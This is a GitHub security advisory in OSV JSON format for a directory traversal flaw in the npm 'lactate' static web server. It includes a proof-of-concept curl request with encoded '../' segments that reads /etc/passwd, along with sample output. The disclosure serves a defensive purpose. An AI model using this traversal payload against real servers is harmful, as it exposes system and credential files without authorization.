{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "lactate"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.13.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2019-06-14T16:39:14Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "A crafted `GET` request can be leveraged to traverse the directory structure of a host using the lactate web server package, and request arbitrary files outside of the specified web root. This allows for a remote attacker to gain access to arbitrary files on the filesystem that the process has access to read.\n\nMitigating factors:\nOnly files that the user running `lactate` has permission to read will be accessible via this vulnerability.\n\n\n[Proof of concept](https://hackerone.com/reports/296645):\nPlease globally install the `lactate` package and `cd` to a directory you wish to serve assets from. Next, run `lactate -p 8081` to start serving files from this location.\n\nThe following cURL request can be used to demonstrate this vulnerability by requesting the target `/etc/passwd` file:\n\n```\ncurl \"http://127.0.0.1:8081/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd\"\n```\n```\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\n[...]\n```\n\n\n## Recommendation\n\nAs there is currently no fix for this issue selecting an alternative static web server would be the best choice.",
  "id": "GHSA-68gr-cmcp-g3mj",
  "modified": "2021-08-16T23:34:10Z",
  "published": "2019-06-14T16:39:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/RetireJS/retire.js/commit/800c8140884eaa5753a49308f560c925fe97b9a5"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/296645"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/npm:lactate:20180123"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/560"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directory Traversal in lactate"
}